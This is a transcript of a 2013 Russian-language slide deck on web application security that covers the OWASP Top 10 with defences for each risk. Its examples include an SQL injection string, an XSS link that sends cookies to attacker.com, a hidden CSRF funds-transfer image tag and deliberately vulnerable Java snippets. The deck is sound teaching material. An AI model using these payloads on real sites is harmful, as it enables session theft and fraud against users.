2013 09 21 безопасность веб-приложений
TRANSCRIPT
![Page 1: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/1.jpg)
![Page 2: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/2.jpg)
Тарас ИващенкоАдминистратор ИБ
Безопасность веб-приложений
![Page 3: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/3.jpg)
![Page 4: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/4.jpg)
4
Терминология
Угроза — это потенциально возможное событие, которое посредством воздействия на компоненты информационной системы (ИС) может привести к нанесению ущербаУязвимость — это свойство ИС, использование которой нарушителем может привести к реализации угрозыАтака — это любое действие нарушителя, которое приводит к реализации угрозы путём использования уязвимостей ИС
![Page 5: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/5.jpg)
5
OWASP Top 10
OWASP — The Open Web Application Security ProjectOWASP Top 10 — «Топ» 10 самых критичных рисков безопасности веб-приложений
![Page 6: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/6.jpg)
6
Веб-приложение использует входные данные при конструировании SQL-запросов к БД
String query = "SELECT * FROM accountsWHERE custID='"+ request.getParameter("id") +"'";
Инъекции
Злоумышленник подготовливает следующий URL
http://example.com/app/accountView?id=' or '1'='1
![Page 7: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/7.jpg)
7
Инъекции. Защита
Параметризированные запросыЭскейпинг небезопасных данных перед использованием в SQL-запросе
![Page 8: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/8.jpg)
8
Веб-приложение использует механизм сессий, основанный на использовании кук
GET /messages HTTP/1.1Host: victim.comCookie: session_id=857817;
Ошибки в реализации аутентификации и сессий (½)*
Злоумышленник перебирает сессионный идентификатор и получает доступ к сессиям пользователей
![Page 9: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/9.jpg)
9
Ошибки в реализации аутентификации и сессий (2/2)
Фиксация сессийПерехват паролей в открытом виде«Угадывание» сессионных идентификаторовПередача сессионных идентификаторов как URL-параметрПеребор существующих учётных записей через форму логина
![Page 10: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/10.jpg)
10
Ошибки в реализации аутентификации и сессий. Защита
Безопасная реализация механизмов аутентификации и управления сессиями — сложная задачаOWASP's Application Security Verifcation Standard: V2 (Authentication) and V3 (Session Management)
![Page 11: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/11.jpg)
11
В веб-приложении при генерации страницы используются без предварительной обработки входные параметры
page += "<input name='creditcard' type='TEXT'value='" + request.getParameter("CC") + "'>";
Межсайтовый скриптинг (XSS) (1/2)
![Page 12: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/12.jpg)
12
Злоумышленник, узнав про это, конструирует зловредную ссылку и заманивает на неё жертву
http://example.com/foo?CC='><script>document.location='http://attacker.com/sniffer.php?'%20+document.cookie</script>
Межсайтовый скриптинг (XSS) (2/2)
![Page 13: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/13.jpg)
13 XSS
![Page 14: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/14.jpg)
14
XSS. Защита
Валидация входных данных и их обработка («эскейпинг») при генерации страницВажен HTML-контекст (body, attribute, JavaScript, CSS, URL)!Внедрите Content Security PolicyHTTPOnly сессионные куки
![Page 15: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/15.jpg)
15
Веб-приложение используют значение параметра acct для получения информации о состоянии счёта пользователя
String query = "SELECT * FROM acctsWHERE account = ?";PStatement pstmt = con.prepareStatement(query , ... );pstmt.setString(1, request.getParameter("acct"));ResultSet results = pstmt.executeQuery();
Небезопасное указание на внутренние объекты (1/2)
![Page 16: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/16.jpg)
16
Злоумышленник, манипулируя значением acct, получает информацию других пользователей
http://example.com/app/accountInfo?acct=notmyacct
Небезопасное указание на внутренние объекты (2/2)
![Page 17: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/17.jpg)
17
Небезопасное указание на внутренние объекты. Защита
Проверять авторизациюМинимизировать использование прямых указателей на системные объекты
![Page 18: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/18.jpg)
18
Небезопасная конфигурация*
Ошибки безопасности при развёртывании и конфигурировании веб-окруженияbackup.tar.gz, предустановелненные учётные записи (DBSNMP/DBSNMP в Оракле), необновляемое ПО, забыли включить защиту от ...
![Page 19: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/19.jpg)
19
Небезопасная конфигурация. Защита
Хорошо поставленный процесс развёртывания и конфигурирования веб-окруженияМаксимально автоматизированный + чеклистыРегулярные сканированияУстанавливайте обновления безопасности!
![Page 20: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/20.jpg)
20
Раскрытие критичных данных*
Веб-приложение хранит критичную информацию в открытом виде в базеМы написали свой «суперстойкий» алгоритм шифрованияПароли «хэшируются, но не солятся»Критичная информация передаётся по открытому каналуСамоподписанные сертификаты
![Page 21: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/21.jpg)
21
Раскрытие критичных данных. Рекомендации
Используйте стандартные реализации/библиотеки алгоритмов шифрованияПравильная настройка SSL: сертификаты, алгоритмы, Secure для сессионной куки, HSTSРегулярные сканирования
![Page 22: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/22.jpg)
22 «Солите хэши»
![Page 23: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/23.jpg)
23
У веб-приложения есть административная панель, доступ в которую ограничен только знанием «секретного адреса»
http://victim.com/nimda/
Ошибки авторизации*
Злоумышленник попросту «угадывает» URL и получает неавторизованный доступ!
![Page 24: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/24.jpg)
24
Ошибки авторизации. Рекомендации
Правильно реализованные аутентификация и авторизация пользователейПолитики и ролиДоступ запрещён по умолчанию
![Page 25: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/25.jpg)
25
Веб-приложение позволяет при переходе по обычной ссылке выполнять какое-нибудь действие
http://example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
Межсайтовая подделка запросов (CSRF) (1/2)
![Page 26: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/26.jpg)
26
Злоумышленник подготавливает специальный URL, при загрузке которого будет осуществлён перевод денег со счёта жертвы на его, и размещает его в виде картинки на популярном ресурсе
<img src="http://example.com/transferFunds?amount=1500&destinationAccount=attackersAcct#"width="0" height="0" />
CSRF (2/2)
![Page 27: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/27.jpg)
27 CSRF
![Page 28: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/28.jpg)
28
CSRF. Защита
Подписывание запросов специальными токенамиДополнительно к токенам рекомендуется все действия переводить на POST-запросПроверка источника запроса
![Page 29: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/29.jpg)
29
Использование небезопасных компонент*
![Page 30: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/30.jpg)
30
Использование небезопасных компонент. Рекомендации
Составьте список всех используемых сторонних компонентСледите за новостями и вовремя «обновляйтесь»Отключайте ненужную функциональностьВнедрите автоматизированные проверки
![Page 31: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/31.jpg)
31
В веб-приложении используется скрипт «redirect.jsp», который принимает входным параметром «url» адрес, на который будет перенаправлен пользователь
http://www.example.com/redirect.jsp?url=evil.com
Открытое перенаправление
![Page 32: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/32.jpg)
32 Открытое перенаправление
![Page 33: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/33.jpg)
33
Открытое перенаправление. Защита
Не использовать редирект на внешние ресурсы«Страница подтверждения» для неизвестных адресов
![Page 34: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/34.jpg)
34 Посмотреть
![Page 35: 2013 09 21 безопасность веб-приложений](https://reader034.vdocuments.pub/reader034/viewer/2022042700/557f2b0cd8b42a46658b494b/html5/thumbnails/35.jpg)
35
Информация к размышлению
Посмотреть на HTTP-трафик популярных веб-приложенийOWASP Top 10 clck.ru/8aC-Q2011 CWE/SANS Top 25 Most Dangerous Software Errors clck.ru/8aC-KOWASP WebGoat clck.ru/8aC-U